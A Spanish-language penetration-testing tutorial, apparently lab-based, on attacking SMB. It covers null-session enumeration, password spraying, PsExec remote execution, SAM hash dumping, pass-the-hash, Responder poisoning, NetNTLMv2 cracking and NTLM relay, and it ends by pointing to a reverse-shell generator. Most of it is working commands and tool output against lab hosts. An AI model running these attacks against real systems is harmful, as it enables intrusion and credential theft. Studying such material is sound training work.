👾Ataques a SMB
Server Message Block (SMB) es un protocolo de comunicación creado para proporcionar acceso compartido a archivos e impresoras entre nodos de una red. Inicialmente, fue diseñado para ejecutarse sobre NetBIOS sobre TCP/IP (NBT) usando el puerto TCP 139
y los puertos UDP 137
y 138
. Sin embargo, con Windows 2000, Microsoft agregó la opción de ejecutar SMB directamente sobre TCP/IP en el puerto 445
sin la capa NetBIOS adicional. Hoy en día, los sistemas operativos Windows modernos utilizan SMB sobre TCP pero aún admiten la implementación de NetBIOS como conmutación por error.
Otro protocolo que comúnmente se relaciona con SMB es MSRPC (Llamada a procedimiento remoto de Microsoft) . RPC proporciona al desarrollador de aplicaciones una forma genérica de ejecutar un procedimiento (también conocido como función) en un proceso local o remoto sin tener que comprender los protocolos de red utilizados para admitir la comunicación, como se especifica en MS-RPCE , que define un protocolo RPC sobre SMB. que puede utilizar canalizaciones con nombre del protocolo SMB como transporte subyacente.
Enumeración
Dependiendo de la implementación de SMB y del sistema operativo, obtendremos información diferente usando Nmap
. Tenga en cuenta que cuando se selecciona el sistema operativo Windows, la información de la versión generalmente no se incluye como parte de los resultados del análisis de Nmap. En cambio, Nmap intentará adivinar la versión del sistema operativo. Sin embargo, a menudo necesitaremos otros análisis para identificar si el objetivo es vulnerable a un exploit en particular. Cubriremos la búsqueda de vulnerabilidades conocidas más adelante en esta sección. Por ahora, escaneemos los puertos 139 y 445 TCP
.
afsh4ck@kali$ sudo nmap 10.129.14.128 -sV -sC -p139,445
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 15:15 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 00:00:00:00:00:00 (VMware)
Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-19T13:16:04
|_ start_date: N/A
El escaneo de Nmap revela información esencial sobre el objetivo:
Versión SMB (Samba smbd 4.6.2)
Nombre de host HTB
El sistema operativo es Linux basado en la implementación de SMB.
Exploremos algunas configuraciones erróneas comunes y ataques específicos de protocolos.
Configuraciones erróneas
SMB se puede configurar para que no requiera autenticación, lo que a menudo se denomina null session
. En cambio, podemos iniciar sesión en un sistema sin nombre de usuario ni contraseña.
Autenticación anónima
Si encontramos un servidor SMB que no requiere un nombre de usuario y contraseña o encontramos credenciales válidas, podemos obtener una lista de recursos compartidos, nombres de usuarios, grupos, permisos, políticas, servicios, etc. La mayoría de las herramientas que interactúan con SMB permiten conectividad de sesión nula, incluyendo smbclient
, smbmap
, rpcclient
, o enum4linux
. Exploremos cómo podemos interactuar con archivos compartidos y RPC usando autenticación nula.
Recursos compartidos
Usando smbclient
podemos mostrar una lista de los recursos compartidos del servidor con la opción -L
, y usando la opción -N
le decimos que smbclient
use la sesión nula.
afsh4ck@kali$ smbclient -N -L //10.129.14.128
Sharename Type Comment
------- -- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
notes Disk CheckIT
IPC$ IPC IPC Service (DEVSM)
SMB1 disabled no workgroup available
Smbmap
es otra herramienta que nos ayuda a enumerar recursos compartidos de red y acceder a los permisos asociados. Una ventaja de smbmap
es que proporciona una lista de permisos para cada carpeta compartida.
afsh4ck@kali$ smbmap -H 10.129.14.128
[+] IP: 10.129.14.128:445 Name: 10.129.14.128
Disk Permissions Comment
-- --------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY IPC Service (DEVSM)
notes READ, WRITE CheckIT
Usando la opción -r
o -R
(recursiva) en smbmap
, se puede navegar por los directorios:
afsh4ck@kali$ smbmap -H 10.129.14.128 -r notes
[+] Guest session IP: 10.129.14.128:445 Name: 10.129.14.128
Disk Permissions Comment
-- --------- -------
notes READ, WRITE
.\notes\*
dr--r--r 0 Mon Nov 2 00:57:44 2020 .
dr--r--r 0 Mon Nov 2 00:57:44 2020 ..
dr--r--r 0 Mon Nov 2 00:57:44 2020 LDOUJZWBSG
fw--w--w 116 Tue Apr 16 07:43:19 2019 note.txt
fr--r--r 0 Fri Feb 22 07:43:28 2019 SDT65CB.tmp
dr--r--r 0 Mon Nov 2 00:54:57 2020 TPLRNSMWHQ
dr--r--r 0 Mon Nov 2 00:56:51 2020 WDJEQFZPNO
dr--r--r 0 Fri Feb 22 07:44:02 2019 WindowsImageBackup
En el ejemplo anterior, los permisos están configurados en READ
y WRITE
, que se pueden usar para cargar y descargar archivos.
afsh4ck@kali$ smbmap -H 10.129.14.128 --download "notes\note.txt"
[+] Starting download: notes\note.txt (116 bytes)
[+] File output to: /htb/10.129.14.128-notes_note.txt
afsh4ck@kali$ smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
[+] Starting upload: test.txt (20 bytes)
[+] Upload complete.
Remote Procedure Call (RPC)
Podemos utilizar rpcclient
con una sesión nula para enumerar una estación de trabajo o controlador de dominio.
rpcclient
nos ofrece muchos comandos diferentes para ejecutar funciones específicas en el servidor SMB para recopilar información o modificar atributos del servidor como un nombre de usuario. Podemos utilizar esta hoja de referencia del Instituto SANS o revisar la lista completa de todas estas funciones que se encuentra en la página de manual del archivo rpcclient
.
afsh4ck@kali$ rpcclient -U'%' 10.10.110.17
rpcclient $> enumdomusers
user:[mhope] rid:[0x641]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Enum4linux
es otra utilidad que admite sesiones nulas y utiliza nmblookup
, net
, rpcclient
y smbclient
para automatizar algunas enumeraciones comunes de objetivos SMB como:
Grupo de trabajo/nombre de dominio
Información de usuarios
Información del sistema operativo
Información de grupos
Carpetas compartidas
Información de política de contraseñas
La herramienta original fue escrita en Perl y reescrita por Mark Lowe en Python .
afsh4ck@kali$ ./enum4linux-ng.py 10.10.11.45 -A -C
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.45
[*] Username ......... ''
[*] Random Username .. 'noyyglci'
[*] Password ......... ''
====================================
| Service Scan on 10.10.11.45 |
====================================
[*] Checking LDAP (timeout: 5s)
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS (timeout: 5s)
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB (timeout: 5s)
[*] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS (timeout: 5s)
[*] SMB over NetBIOS is accessible on 139/tcp
===================================================
| NetBIOS Names and Workgroup for 10.10.11.45 |
===================================================
[*] Got domain/workgroup name: WORKGROUP
[*] Full NetBIOS names information:
- WIN-752039204 <00> - B <ACTIVE> Workstation Service
- WORKGROUP <00> - B <ACTIVE> Workstation Service
- WIN-752039204 <20> - B <ACTIVE> Workstation Service
- MAC Address = 00-0C-29-D7-17-DB
...
========================================
| SMB Dialect Check on 10.10.11.45 |
========================================
<SNIP>
Ataques específicos del protocolo
Si no se habilita una sesión nula, necesitaremos credenciales para interactuar con el protocolo SMB. Dos formas comunes de obtener credenciales son la fuerza bruta y la pulverización de contraseñas .
Fuerza bruta y Password Spraying
Cuando utilizamos la fuerza bruta, probamos tantas contraseñas como sea posible en una cuenta, pero podemos bloquearla si alcanzamos el umbral. Podemos utilizar la fuerza bruta y detenernos antes de alcanzar el umbral si lo sabemos. De lo contrario, no recomendamos utilizar la fuerza bruta.
La pulverización de contraseñas es una mejor alternativa ya que podemos apuntar a una lista de nombres de usuario con una contraseña común para evitar bloqueos de cuentas. Podemos probar más de una contraseña si conocemos el umbral de bloqueo de la cuenta. Normalmente, dos o tres intentos son seguros, siempre que esperemos entre 30 y 60 minutos entre intentos. Exploremos la herramienta CrackMapExec que incluye la capacidad de ejecutar la pulverización de contraseñas.
Con CrackMapExec (CME), podemos apuntar a múltiples IP, utilizando numerosos usuarios y contraseñas. Exploremos un caso de uso cotidiano para la pulverización de contraseñas. Para realizar una pulverización de contraseña contra una IP, podemos usar la opción -u
para especificar un archivo con una lista de usuarios y -p
para especificar una contraseña. Esto intentará autenticar a todos los usuarios de la lista utilizando la contraseña proporcionada.
afsh4ck@kali$ cat /tmp/userlist.txt
Administrator
jrodriguez
admin
<SNIP>
jurena
Password Spraying
afsh4ck@kali$ crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\Administrator:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\jrodriguez:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\admin:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\eperez:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\amone:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\fsmith:Company01! STATUS_LOGON_FAILURE
SMB 10.10.110.17 445 WIN7BOX [-] WIN7BOX\tcrash:Company01! STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\jurena:Company01! (Pwn3d!)
Para obtener instrucciones de uso más detalladas, consulte la guía de documentación de la herramienta .
SMB
Los servidores SMB de Linux y Windows ofrecen diferentes rutas de ataque. Por lo general, solo obtendremos acceso al sistema de archivos, abusaremos de privilegios o explotaremos vulnerabilidades conocidas en un entorno Linux, como veremos más adelante en esta sección. Sin embargo, en Windows, la superficie de ataque es más significativa.
Al atacar un servidor SMB de Windows, nuestras acciones estarán limitadas por los privilegios que teníamos sobre el usuario que logramos comprometer. Si este usuario es Administrador o tiene privilegios específicos podremos realizar operaciones como:
Ejecución remota de comandos
Extraer hashes de la base de datos SAM
Enumeración de usuarios conectados
Pasar el hash (PTH)
Analicemos cómo podemos realizar tales operaciones. Además, aprenderemos cómo se puede abusar del protocolo SMB para recuperar el hash de un usuario como método para escalar privilegios u obtener acceso a una red.
Ejecución remota de código (RCE)
Antes de pasar a cómo ejecutar un comando en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell para ofrecer recursos técnicos y utilidades para administrar, diagnosticar, solucionar problemas y monitorear un entorno de Microsoft Windows. Microsoft adquirió Windows Sysinternals y sus activos el 18 de julio de 2006.
Sysinternals presentó varias herramientas gratuitas para administrar y monitorear computadoras que ejecutan Microsoft Windows. El software ahora se puede encontrar en el sitio web de Microsoft . Una de esas herramientas gratuitas para administrar sistemas remotos es PsExec.
PsExec es una herramienta que nos permite ejecutar procesos en otros sistemas, con total interactividad para aplicaciones de consola, sin tener que instalar el software cliente manualmente. Funciona porque tiene una imagen de servicio de Windows dentro de su ejecutable. Toma este servicio y lo implementa en el recurso compartido admin$ (de forma predeterminada) en la máquina remota. Luego utiliza la interfaz DCE/RPC a través de SMB para acceder a la API del Administrador de control de servicios de Windows. A continuación, inicia el servicio PSExec en la máquina remota. Luego, el servicio PSExec crea una canalización con nombre que puede enviar comandos al sistema.
Podemos descargar PsExec desde el sitio web de Microsoft , o podemos usar algunas implementaciones de Linux:
Impacket PsExec : ejemplo de funcionalidad similar a Python PsExec usando RemComSvc .
Impacket SMBExec : un enfoque similar a PsExec sin utilizar RemComSvc . La técnica se describe aquí. Esta implementación va un paso más allá y crea una instancia de un servidor SMB local para recibir el resultado de los comandos. Esto es útil cuando la máquina de destino NO tiene un recurso compartido grabable disponible.
Impacket atexec : este ejemplo ejecuta un comando en la máquina de destino a través del servicio Programador de tareas y devuelve el resultado del comando ejecutado.
CrackMapExec : incluye una implementación de
smbexec
yatexec
.Metasploit PsExec : implementación de Ruby PsExec.
Impacket PsExec
Para usar impacket-psexec
, debemos proporcionar el dominio/nombre de usuario, la contraseña y la dirección IP de nuestra máquina de destino. Para obtener información más detallada podemos utilizar la ayuda de impacket:
afsh4ck@kali$ impacket-psexec -h
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
target [command ...]
PSEXEC like functionality example using RemComSvc.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)
optional arguments:
-h, --help show this help message and exit
-c pathname copy the filename for later execution, arguments are passed in the command option
-path PATH path of the command to execute
-file FILE alternative RemCom binary (be sure it doesn't require CRT)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
it
-port [destination port]
Destination port to connect to SMB Server
-service-name service_name
The name of the service used to trigger the payload
-remote-binary-name remote_binary_name
This will be the name of the executable uploaded on the target
Para conectarse a una máquina remota con una cuenta de administrador local, usando impacket-psexec
, puede usar el siguiente comando:
afsh4ck@kali$ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami && hostname
nt authority\system
WIN7BOX
Las mismas opciones se aplican a impacket-smbexec
y impacket-atexec
.
CrackMapExec
Otra herramienta que podemos utilizar para ejecutar CMD o PowerShell es CrackMapExec
. Una ventaja CrackMapExec
es la disponibilidad para ejecutar un comando en varios hosts a la vez. Para usarlo, debemos especificar el protocolo smb
, la dirección IP o el rango de direcciones IP, la opción -u
de nombre de usuario y -p
contraseña, y la opción -x
de ejecutar comandos cmd o mayúsculas -X
para ejecutar comandos de PowerShell.
afsh4ck@kali$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\system
Enumeración de usuarios logueados
Imaginemos que estamos en una red con varias máquinas. Algunos de ellos comparten la misma cuenta de administrador local. En este caso, podríamos utilizar CrackMapExec
para enumerar los usuarios que han iniciado sesión en todas las máquinas dentro de la misma red 10.10.110.17/24
, lo que acelera nuestro proceso de enumeración.
afsh4ck@kali$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Enumerated loggedon users
SMB 10.10.110.17 445 WIN7BOX WIN7BOX\Administrator logon_server: WIN7BOX
SMB 10.10.110.17 445 WIN7BOX WIN7BOX\jurena logon_server: WIN7BOX
SMB 10.10.110.21 445 WIN10BOX [*] Windows 10.0 Build 19041 (name:WIN10BOX) (domain:WIN10BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.21 445 WIN10BOX [+] WIN10BOX\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.21 445 WIN10BOX [+] Enumerated loggedon users
SMB 10.10.110.21 445 WIN10BOX WIN10BOX\demouser logon_server: WIN10BOX
Extraer hashes de la base de datos SAM
El Administrador de cuentas de seguridad (SAM) es un archivo de base de datos que almacena las contraseñas de los usuarios. Se puede utilizar para autenticar usuarios locales y remotos. Si obtenemos privilegios administrativos en una máquina, podemos extraer los hashes de la base de datos SAM para diferentes propósitos:
Autenticarse como otro usuario.
Cracking de contraseñas: si logramos descifrar la contraseña, podemos intentar reutilizarla para otros servicios o cuentas.
Pass the Hash: Lo discutiremos más adelante en esta sección.
afsh4ck@kali$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 18362 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Dumping SAM hashes
SMB 10.10.110.17 445 WIN7BOX Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB 10.10.110.17 445 WIN7BOX Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.110.17 445 WIN7BOX DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.110.17 445 WIN7BOX WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5717e1619e16b9179ef2e7138c749d65:::
SMB 10.10.110.17 445 WIN7BOX jurena:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
SMB 10.10.110.17 445 WIN7BOX demouser:1002:aad3b435b51404eeaad3b435b51404ee:4c090b2a4a9a78b43510ceec3a60f90b:::
SMB 10.10.110.17 445 WIN7BOX [+] Added 6 SAM hashes to the database
Pass the Hash (PtH)
Si logramos obtener un hash NTLM de un usuario y no podemos descifrarlo, aún podemos usar el hash para autenticarnos a través de SMB con una técnica llamada Pass-the-Hash (PtH). PtH permite a un atacante autenticarse en un servidor o servicio remoto utilizando el hash NTLM subyacente de la contraseña de un usuario en lugar de la contraseña en texto plano. Podemos utilizar un ataque PtH con cualquier herramienta cómo Impacket
, SMBMap
, CrackMapExec
, entre otras. A continuación se muestra un ejemplo de cómo funcionaría esto con CrackMapExec
:
afsh4ck@kali$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:WIN7BOX) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] WIN7BOX\Administrator:2B576ACBE6BCFDA7294D6BD18041B8FE (Pwn3d!)
Ataques de autenticación forzada
También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios .
La herramienta más común para realizar este tipo de operaciones es Responder
. Responder es una herramienta de envenenamiento LLMNR, NBT-NS y MDNS con diferentes capacidades, una de ellas es la posibilidad de configurar servicios falsos, incluido SMB, para robar hashes NetNTLM v1/v2. En su configuración predeterminada, encontrará tráfico LLMNR y NBT-NS. Luego, responderá en nombre de los servidores que la víctima está buscando y capturará sus hashes NetNTLM.
Ilustremos un ejemplo para entender mejor cómo funciona Responder
. Imaginemos que creamos un servidor SMB falso usando la configuración predeterminada de Responder, con el siguiente comando:
afsh4ck@kali$ responder -I <interface name>
Cuando un usuario o un sistema intenta realizar una resolución de nombre (NR), una máquina lleva a cabo una serie de procedimientos para recuperar la dirección IP de un host por su nombre de host. En máquinas con Windows, el procedimiento será aproximadamente el siguiente:
Se requiere la dirección IP del recurso compartido de archivos del nombre de host.
Se comprobará si hay registros adecuados en el archivo del host local (C:\Windows\System32\Drivers\etc\hosts).
Si no se encuentran registros, la máquina cambia al caché DNS local, que realiza un seguimiento de los nombres resueltos recientemente.
¿No hay ningún registro DNS local? Se enviará una consulta al servidor DNS que se haya configurado.
Si todo lo demás falla, la máquina emitirá una consulta de multidifusión, solicitando la dirección IP del archivo compartido de otras máquinas en la red.
Supongamos que un usuario escribió mal el nombre de una carpeta compartida \\mysharefoder\
en lugar de \\mysharedfolder\
. En ese caso, todas las resoluciones de nombres fallarán porque el nombre no existe y la máquina enviará una consulta de multidifusión a todos los dispositivos de la red, incluidos nosotros que ejecutamos nuestro servidor SMB falso. Esto es un problema porque no se toman medidas para verificar la integridad de las respuestas. Los atacantes pueden aprovechar este mecanismo escuchando dichas consultas y falsificando respuestas, lo que lleva a la víctima a creer que los servidores maliciosos son dignos de confianza. Esta confianza se suele utilizar para robar credenciales.
afsh4ck@kali$ sudo responder -I ens33
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.198]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-2TY1Z1CIGXH]
Responder Domain Name [HF2L.LOCAL]
Responder DCE-RPC Port [48162]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000
Estas credenciales capturadas se pueden descifrar mediante hashcat o transmitirse a un host remoto para completar la autenticación y hacerse pasar por el usuario.
Todos los Hashes guardados se encuentran en el directorio de registros de Responder ( /usr/share/responder/logs/
). Podemos copiar el hash a un archivo e intentar descifrarlo usando el módulo hashcat 5600.
afsh4ck@kali$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc...000000
Time.Started.....: Mon Apr 11 16:49:34 2022 (1 sec)
Time.Estimated...: Mon Apr 11 16:49:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1122.4 kH/s (1.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 75776/14344386 (0.53%)
Rejected.........: 0/75776 (0.00%)
Restore.Point....: 73728/14344386 (0.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: compu -> kodiak1
Started: Mon Apr 11 16:49:34 2022
Stopped: Mon Apr 11 16:49:37 2022
El hash NTLMv2 fue descifrado. La contraseña es P@ssword
. Si no podemos descifrar el hash, potencialmente podemos transmitir el hash capturado a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py . Veamos un ejemplo usando impacket-ntlmrelayx
.
Primero, debemos configurar SMB OFF
en nuestro archivo de configuración de respuesta ( /etc/responder/Responder.conf
).
afsh4ck@kali$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off
Luego ejecutamos impacket-ntlmrelayx
con la opción --no-http-server
, -smb2support
y la máquina de destino con la opción -t
. Por defecto impacket-ntlmrelayx
volcará la base de datos SAM, pero podremos ejecutar comandos añadiendo la opción -c
.
afsh4ck@kali$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
<SNIP>
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Podemos crear un reverse shell de PowerShell usando https://www.revshells.com/ , configurar la dirección IP de nuestra máquina, el puerto y la opción Powershell #3 (Base64).
